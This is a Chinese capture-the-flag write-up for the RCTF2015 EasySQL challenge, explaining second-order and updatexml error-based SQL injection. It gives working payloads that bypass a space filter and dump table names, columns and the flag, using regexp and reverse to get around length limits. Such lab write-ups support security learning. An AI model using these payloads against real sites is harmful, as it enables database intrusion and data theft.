1. 程式人生 > 其它 >[RCTF2015]EasySQL 報錯注入與二次注入

[RCTF2015]EasySQL 報錯注入與二次注入

[RCTF2015]EasySQL 報錯注入與二次注入

二次注入,可以概括為以下兩步:
第一步:插入惡意資料
進行資料庫插入資料時,對其中的特殊字元進行了轉義處理,在寫入資料庫的時候又保留了原來的資料。
第二步:引用惡意資料
開發者預設存入資料庫的資料都是安全的,在進行查詢時,直接從資料庫中取出惡意資料,沒有進行進一步的檢驗的處理。

updatexml(fileName, XPATH, ChangedStr)

更新某個xml檔案中的特定資訊。
第一個引數是希望更新的xml檔案的名稱;
第二個引數XPATH是一種在xml檔案中指定元素或資訊的語句,即xml檔案中的定位器,有點類似指標;
第三個引數是希望更改成的資訊,如將原來的資訊改成3,這個3就是這個ChangedStr。

報錯注入

通過讓資料庫報錯會拿出相關資訊的性質,想辦法讓資料庫報錯,然後達到命令執行的目的

updatexml(1,concat(0x3a,(你希望執行的語句)),1))#

concat函式是說連線字串,這裡將0x3a連在了XPATH位置的引數的最前面,會不符合XPATH的規範,遂報錯,說“0x3a(你希望執行的語句)”不符合規定,這也就爆出了你想要得到的資訊。

二次注入

在某個輸入位置,將不安全的字串成功按原樣插入到了資料庫中,後認為資料庫中的資料都是安全的,然後在另一處隨意的引用了該不安全的語句,造成了注入,即“二次注入”

[RCTF2015]EasySQL

tips: 密碼和郵箱大部分時候都可以留空

一次注入點在註冊的位置,將不安全語句存入到使用者名稱位置,隨後在更改密碼處,會呼叫使用者名稱來確認改密碼的位置,以造成二次注入。

這裡我先註冊一個帶引號的使用者,展示一下效果。

可以看到,這個網站將完整的帶引號的名字都存進了資料庫,且並沒有進行過濾等操作。

直接點提交,可以發現數據庫報錯了,還發現資料庫將密碼雜湊了以後儲存的,不過這和本題無關。
這個位置還是過濾了一些引數的

這裡包長為496的都是過濾掉的
開始注入,構造語句
空格過濾掉了,使用括號來完成。

haha"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

這裡使用payload為使用者名稱註冊,可以看到這麼長的使用者名稱也能註冊成功,挺離譜的。

事實告訴我們,限制使用者名稱長度還是挺有用的哈哈。
進入修改密碼處

成功爆出表名。
經過實驗,最終的結果在users表中,檢視users表列

haha"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'&&(column_name)regexp('^r')))),1))#


這裡語句有一些不一樣,where後面多了一個限定詞

(column_name)regexp('^r')

這句的意思是,只要column_name列中符合後面正則表示式的內容的部分(regexp函式是正則表示式函式)。
正則表示式的內容 ^r 的意思是,只匹配開頭是r的字串,比如這裡有三個串

asdff
asd ff
fasd

正則表示式只會匹配第三個串,因為只有它是f字母開頭的,第二個串雖然帶有空格後的ff,但空格本身是包含在字串內的,故後面的ff仍算在一整個字串內,不是開頭,故不被匹配。
回到題目,這裡我們不加正則表示式限定,會看到幾個表,其中有一個表叫real_flag啥的,因為長度限制,後面沒有爆出來,只爆出了一部分,故我們需要限定,只看這個real啥的列的列名
檢視flag

haha"||(updatexml(1,(concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

同理,他在這個表裡面塞了一堆xxx字串,看錶的時候沒辦法看到flag相關的內容,故我們用正則,匹配f開頭的字串。
然後flag出來又不會出全,還需要使用reverse函式,逆序輸出flag

haha"||(updatexml(1,reverse(concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

隨後會出現倒著的flag,然後拼起來即得答案。
這個地方我想把reverse寫在select的前面,但不知道為什麼沒辦法執行,有知道的大佬求教下。ψ(`∇´)ψ
想寫成這樣

haha"||(updatexml(1,(concat(0x3a,reverse(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#